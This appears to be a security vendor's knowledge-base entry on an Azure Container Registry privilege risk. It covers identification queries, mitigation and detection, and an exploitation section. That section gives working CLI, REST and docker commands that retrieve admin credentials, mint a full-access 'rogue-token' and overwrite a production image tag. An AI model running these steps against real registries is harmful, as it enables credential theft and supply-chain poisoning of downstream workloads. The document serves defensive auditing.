Summary
| Forestall ACL Alias | AZ_ACR_LIST_CREDENTIALS |
| Azure Alias | ACR List Credentials / Generate Token Credentials |
| Affected Object Types | Container Registries (ACR) |
| Exploitation Certainty | Certain |
| Severity | High |
| Azure RBAC Roles | Owner (8e3af657-a8ff-443c-a75c-2fe8c4bcb635), Contributor (b24988ac-6180-42a0-ab88-20f7382dd24c), Container Registry Contributor and Data Access Configuration Administrator (3bc748fc-213d-45c1-8d91-9da5725539b9), Container Registry Configuration Reader and Data Access Configuration Reader (69b07be0-09bf-439a-b9a6-e73de851bd59), Container Registry Connected Registry Administrator (281928aa-9782-4d9a-954a-3f34c1ed9f95) |
Custom Role Actions:
Microsoft.ContainerRegistry/registries/listCredentials/actionMicrosoft.ContainerRegistry/registries/generateCredentials/actionMicrosoft.ContainerRegistry/registries/tokens/write
Description
AZ_ACR_LIST_CREDENTIALS is the risk that an attacker (or insider) with the right Azure resource permissions can retrieve the registry admin username/password or mint scoped tokens with a generated password for an Azure Container Registry. Either path hands the attacker push/pull credentials, i.e. full control over the registry contents - they can plant or replace images that downstream consumers (AKS, App Service, Function Apps, build pipelines) then pull and execute.
Two abuse paths
| Permission | What it returns | Consequence |
|---|---|---|
Microsoft.ContainerRegistry/registries/listCredentials/action |
Static admin username/password (only when Admin user is enabled on the registry). | Permanent push + pull credential good for the lifetime of the password rotation. |
Microsoft.ContainerRegistry/registries/generateCredentials/action + tokens/write |
A scoped token + generated password (works even when Admin user is disabled). | Token can be created with _repositories_admin scope = full registry access. |
Pre-condition for
listCredentials: the registry must have Admin user = Enabled (Access keys blade). If admin is disabled the call fails with400 Bad Requestand a message like “The admin user is disabled for the container registry”.
generateCredentialsdoes not require admin user to be enabled - this is the harder-to-mitigate path.
Built-in roles that grant these actions
Beyond the blanket Owner / Contributor roles (which win via wildcard), Azure ships purpose-built ACR roles that hand out the credential actions directly. Any assignment of these at registry, resource-group, or subscription scope is exploitable:
| Built-in role | Role ID | Method 1 listCredentials |
Method 2 generateCredentials + tokens/write |
|---|---|---|---|
| Owner | 8e3af657-a8ff-443c-a75c-2fe8c4bcb635 |
✅ (via *) |
✅ (via *) |
| Contributor | b24988ac-6180-42a0-ab88-20f7382dd24c |
✅ (via * minus auth) |
✅ (via * minus auth) |
| Container Registry Contributor and Data Access Configuration Administrator | 3bc748fc-213d-45c1-8d91-9da5725539b9 |
✅ | ✅ |
| Container Registry Configuration Reader and Data Access Configuration Reader | 69b07be0-09bf-439a-b9a6-e73de851bd59 |
✅ | ❌ (has tokens/read only, not tokens/write) |
| Container Registry Connected Registry Administrator | 281928aa-9782-4d9a-954a-3f34c1ed9f95 |
❌ (no listCredentials/action) |
✅ (holds generateCredentials/action, tokens/write, scopeMaps/write) |
Related edges: AZ_ACR_PUSH |
AZ_EXECUTE_COMMAND (ACR Tasks section) |
Identification
PowerShell (Az Module)
Connect-AzAccount
$acrCredActions = @( 'Microsoft.ContainerRegistry/registries/listCredentials/action', 'Microsoft.ContainerRegistry/registries/generateCredentials/action', 'Microsoft.ContainerRegistry/registries/tokens/write')
$riskyRoleNames = Get-AzRoleDefinition | Where-Object { $acts = @($_.Actions) if ($acts -contains '*') { return $true } if ($acts -contains 'Microsoft.ContainerRegistry/*') { return $true } if ($acts -contains 'Microsoft.ContainerRegistry/registries/*') { return $true }
foreach ($a in $acrCredActions) { if ($acts -contains $a) { return $true } } return $false} | Select-Object -ExpandProperty Name -Unique
Get-AzRoleAssignment | Where-Object { $riskyRoleNames -contains $_.RoleDefinitionName } | Select-Object RoleDefinitionName, DisplayName, SignInName, ObjectType, Scope | Sort-Object RoleDefinitionName, Scope | Format-Table -AutoSize
# Show registries that still have Admin user enabled (listCredentials path)Get-AzContainerRegistry | Select-Object Name, ResourceGroupName, AdminUserEnabled, Sku | Format-Table -AutoSizeAzure CLI
# List registries with admin user enabled (listCredentials prerequisite)az acr list --query "[].{Name:name, ResourceGroup:resourceGroup, AdminEnabled:adminUserEnabled}" -o table
# Show role assignments at a specific registryaz role assignment list \ --scope "/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.ContainerRegistry/registries/<RegistryName>" \ -o tableAzure Portal
- Open the Azure Portal -> Container registries -> select the registry.
- Under Settings -> Access keys, check whether Admin user is Enabled (this enables
listCredentials). - Under Settings -> Tokens (Preview) + Repository permissions / Scope maps, list any tokens and the scope maps they reference.
- Under Access control (IAM) -> Role assignments, review Owner, Contributor, and any custom role with the actions above.
Exploitation
Replace <RegistryName> and <RGName> with your own values. These examples are for authorized testing only.
Method 1: List admin credentials - listCredentials/action
Returns the static admin username and the two passwords. Works only when Admin user is enabled on the registry.
Azure CLI
az acr credential show --name "<RegistryName>"PowerShell
Get-AzContainerRegistryCredential -ResourceGroupName "<RGName>" -Name "<RegistryName>"REST
TOKEN=$(az account get-access-token --resource "https://management.azure.com/" --query accessToken -o tsv)
curl -s -X POST "https://management.azure.com/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.ContainerRegistry/registries/<RegistryName>/listCredentials?api-version=2023-07-01" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Length: 0"The response returns the admin username plus both password values:
listCredentials REST call returning the admin username and password/password2
Use the returned credentials with docker login for full push/pull access:
docker login <RegistryName>.azurecr.io -u <AdminUsername> -p '<AdminPassword>'
# Now you can push or overwrite any image in the registrydocker pull alpine:3.20docker tag alpine:3.20 <RegistryName>.azurecr.io/prod/myapp:latestdocker push <RegistryName>.azurecr.io/prod/myapp:latestLogging in with the admin credentials, then pulling a base image and pushing it into a prod/ repository - full push access confirmed:
docker login with admin credentials, then pull, tag, and push an image into prod/myapp
Method 2: Generate a scoped token - generateCredentials/action + tokens/write
Works even when Admin user is disabled. Creates a registry token with a chosen scope map (e.g. _repositories_admin for full access) and returns a fresh password.
Azure CLI
# 1. Create (or reuse) a token bound to the built-in _repositories_admin scope mapaz acr token create \ --registry "<RegistryName>" \ --name "rogue-token" \ --scope-map "_repositories_admin" \ --status enabled
# 2. Generate a password for the tokenaz acr token credential generate \ --registry "<RegistryName>" \ --name "rogue-token" \ --password1 \ --expiration-in-days 365 \ --query 'passwords[0].value' -o tsvaz acr token create output showing rogue-token bound to _repositories_admin with generated password1 and password2
REST
TOKEN=$(az account get-access-token --resource "https://management.azure.com/" --query accessToken -o tsv)
curl -s -X POST "https://management.azure.com/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.ContainerRegistry/registries/<RegistryName>/generateCredentials?api-version=2023-07-01" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "tokenId": "/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.ContainerRegistry/registries/<RegistryName>/tokens/rogue-token", "expiry": "2099-12-31T23:59:59.000Z" }'Then docker login with the token name as username and the generated value as password:
docker login <RegistryName>.azurecr.io -u "rogue-token" -p "<generated-password>"Authenticating with the token name as the username and the generated password succeeds:
docker login with -u rogue-token and the generated token password returning Login Succeeded
Downstream impact - supply-chain poisoning
Once authenticated, an attacker can:
- Replace existing tags that AKS / App Service / Function Apps / pipelines pull on the next deploy.
- Push a new image under a name that matches an internal naming convention to bait an admin into deploying it.
- Read every image in the registry to harvest secrets baked into image layers.
This pivots cleanly into AZ_ACR_PUSH / AZ_EXECUTE_COMMAND on whatever workload pulls the poisoned image.
Mitigation
- Disable Admin user (
Propertiesblade -> Admin user = Disabled, oraz acr update --name <RegistryName> --admin-enabled false). Removes thelistCredentialspath entirely. - Prefer Microsoft Entra authentication (
az acr login) and managed identities for downstream consumers; avoid staticdocker loginwith admin credentials. - Restrict registry tokens - if you don’t need the Tokens / Scope-map feature, leave it unused. If you do, scope tokens to a single repository (e.g.
<repo>:content/read) instead of_repositories_admin. - Limit Owner / Contributor at registry scope - assign AcrPull / AcrPush at fine scope rather than blanket Contributor.
- Enable resource locks on production registries to prevent unwanted token / scope-map creation.
- Rotate admin passwords on a schedule (
az acr credential renew --name <RegistryName> --password-name password) and treat any unexpected rotation event as suspicious. - Forward Activity Log + ACR audit logs to a SIEM and alert on
listCredentials/generateCredentialscalls.
Detection
Use the Azure Portal:
- Open Azure Portal -> target container registry (or scope to subscription / resource group).
- Open Activity log.
- Filter Operation for credential retrieval activity, such as List Registry Credentials, Generate Registry Credentials, and Create or Update Token.
- Review the Event initiated by, Timestamp, Resource, Status, and Change history fields for unexpected callers, brand-new tokens created right before the call, or
generateCredentialscalls against_repositories_adminscope maps. - On the registry blade, open Tokens (Preview) and review the Created on + Expiration of every token. A token created moments before a credential generation event is a strong indicator.
- Cross-reference with Microsoft Entra sign-in logs for the calling principal to identify the source IP and session.